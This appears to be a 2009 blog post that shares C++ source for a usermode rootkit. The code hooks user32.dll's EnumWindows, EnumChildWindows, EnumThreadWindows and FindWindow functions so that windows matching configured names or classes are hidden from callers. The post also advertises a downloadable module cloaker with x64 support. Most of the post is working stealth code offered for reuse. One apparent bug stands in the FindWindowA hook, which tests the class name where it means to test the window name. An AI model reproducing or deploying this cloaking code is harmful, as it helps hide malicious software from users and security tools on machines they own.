Ramblings++

Yet another example of usermode rootkit tech. This one is designed to hide windows. One very important note for this is that the Enum* collection of hooks are NOT thread safe. It’s not hard to do, but I have decided to omit that for personal reasons.

// Hook EnumWindows
APIHook g_EnumWindows(”user32.dll”, “EnumWindows”, (PROC) EnumWindows_Hook);
// Hook EnumChildWindows
APIHook g_EnumChildWindows(”user32.dll”, “EnumChildWindows”, (PROC) EnumChildWindows_Hook);
// Hook EnumThreadWindows
APIHook g_EnumThreadWindows(”user32.dll”, “EnumThreadWindows”, (PROC) EnumThreadWindows_Hook);

// Hook FindWindowA
APIHook g_FindWindowA(”user32.dll”, “FindWindowA”, (PROC) FindWindowA_Hook);
// Hook FindWindowW
APIHook g_FindWindowW(”user32.dll”, “FindWindowW”, (PROC) FindWindowW_Hook);
// Hook FindWindowExA
APIHook g_FindWindowExA(”user32.dll”, “FindWindowExA”, (PROC) FindWindowExA_Hook);
// Hook FindWindowExW
APIHook g_FindWindowExW(”user32.dll”, “FindWindowExW”, (PROC) FindWindowExW_Hook);

WNDENUMPROC EnumCallback = NULL;
WNDENUMPROC EnumChildCallback = NULL;
WNDENUMPROC EnumThreadCallback = NULL;

BOOL CALLBACK EnumWindowsFilterProc(HWND hwnd, LPARAM lParam)
{
std::vector<TCHAR> Temp(1024);
if (GetWindowText(hwnd, &Temp[0], static_cast<int>(Temp.size())))
{
std::tstring WindowText(&Temp[0]);
if (Config::Get()->ShouldHideWindowName(WindowText))
{
TDBGOUT(_T(”EnumWindows called! Hiding window: “) << WindowText <<
_T(”\”.”));
return TRUE;
}
}
return EnumCallback(hwnd, lParam);
}

BOOL CALLBACK EnumChildWindowsFilterProc(HWND hwnd, LPARAM lParam)
{
std::vector<TCHAR> Temp(1024);
if (GetWindowText(hwnd, &Temp[0], static_cast<int>(Temp.size())))
{
std::tstring WindowText(&Temp[0]);
if (Config::Get()->ShouldHideWindowName(WindowText))
{
TDBGOUT(_T(”EnumChildWindows called! Hiding window: “) << WindowText <<
_T(”\”.”));
return TRUE;
}
}
return EnumChildCallback(hwnd, lParam);
}

BOOL CALLBACK EnumThreadWindowsFilterProc(HWND hwnd, LPARAM lParam)
{
std::vector<TCHAR> Temp(1024);
if (GetWindowText(hwnd, &Temp[0], static_cast<int>(Temp.size())))
{
std::tstring WindowText(&Temp[0]);
if (Config::Get()->ShouldHideWindowName(WindowText))
{
TDBGOUT(_T(”EnumThreadWindows called! Hiding window: “) << WindowText <<
_T(”\”.”));
return TRUE;
}
}
return EnumThreadCallback(hwnd, lParam);
}

BOOL WINAPI EnumWindows_Hook(WNDENUMPROC lpEnumFunc, LPARAM lParam)
{
EnumCallback = lpEnumFunc;
return ((tEnumWindows)(PROC)(g_EnumWindows))(EnumWindowsFilterProc,lParam);
}

BOOL WINAPI EnumChildWindows_Hook(HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam)
{
EnumChildCallback = lpEnumFunc;
return ((tEnumChildWindows)(PROC)(g_EnumChildWindows))(hWndParent,EnumChildWindowsFilterProc,lParam);
}

BOOL WINAPI EnumThreadWindows_Hook(DWORD dwThreadId, WNDENUMPROC lpfn, LPARAM lParam)
{
EnumThreadCallback = lpfn;
return ((tEnumThreadWindows)(PROC)(g_EnumThreadWindows))(dwThreadId,EnumThreadWindowsFilterProc,lParam);
}

HWND WINAPI FindWindowA_Hook(LPCSTR lpClassName,LPCSTR lpWindowName)
{
try
{
SehGuard Guard;

if ((lpClassName && Config::Get()->ShouldHideWindowName(lpWindowName)) ||
(lpClassName && Config::Get()->ShouldHideWindowClass(lpClassName)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}

return ((tFindWindowA)(PROC)(g_FindWindowA))(lpClassName,lpWindowName);
}

HWND WINAPI FindWindowW_Hook(LPCWSTR lpClassName, LPCWSTR lpWindowName)
{
try
{
SehGuard Guard;

if ((lpWindowName && Config::Get()->ShouldHideWindowName(lpWindowName)) ||
(lpClassName && Config::Get()->ShouldHideWindowClass(lpClassName)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}
return ((tFindWindowW)(PROC)(g_FindWindowW))(lpClassName,lpWindowName);
}

HWND WINAPI FindWindowExA_Hook(HWND hWndParent, HWND hWndChildAfter, LPCSTR lpszClass,
LPCSTR lpszWindow)
{
try
{
SehGuard Guard;

if ((lpszWindow && Config::Get()->ShouldHideWindowName(lpszWindow)) ||
(lpszClass && Config::Get()->ShouldHideWindowClass(lpszClass)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}
return ((tFindWindowExA)(PROC)(g_FindWindowExA))(hWndParent,hWndChildAfter,
lpszClass,lpszWindow);
}

HWND WINAPI FindWindowExW_Hook(HWND hWndParent,HWND hWndChildAfter, LPCWSTR lpszClass,
LPCWSTR lpszWindow)
{
try
{
SehGuard Guard;

if ((lpszWindow && Config::Get()->ShouldHideWindowName(lpszWindow)) ||
(lpszClass && Config::Get()->ShouldHideWindowClass(lpszClass)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}
return ((tFindWindowExW)(PROC)(g_FindWindowExW))(hWndParent,hWndChildAfter,
lpszClass,lpszWindow);
}

Notes:

• Would love to hear comments/suggestions
• There are some minor bugs you’ll need to take care of if you want to use this in a production environment
• Not thread safe

Recently I’ve been working on rewriting all of my usermode rootkit code and adding a lot more features to it. The biggest change I want to make (other than adding support for hiding more types of data) is x64 support. So far I have x64 support for the loader, file cloaking, process cloaking, window cloaking, and module cloaking. I may release some of those code for these features, but not yet, still lots more potential bugs that need fixing.

I figured an upgraded module cloaker would be of use to some. There’s no explicit license attached to it, but if you do choose to use it then it must be for non-commercial purposes ONLY. Credits would be appreciated but are not mandatory.

Tested and working on Windows Server 2008 x64 and Windows Vista x86. Should work from XP -> 7 (the last version did and very little has changed across those versions in terms of what I’m modifying). Along with x64 support I also updated the class to support both Unicode and MBCS, so if that was an issue for you with the last version, you’ll be glad to know its (hopefully) gone (I say hopefully because MBCS is not extensively tested, but if you find a bug let me know and I’ll fix it).

There’ s still lots more to work on,  so I may release an update in a few weeks, then again I’ve got lots of other stuff that also needs improvements so don’t hold your breath. As Blizzard would say, it will be ready “soon”.

(In case you didn’t get the joke: Soon )

Download:

Cloaker v20090424a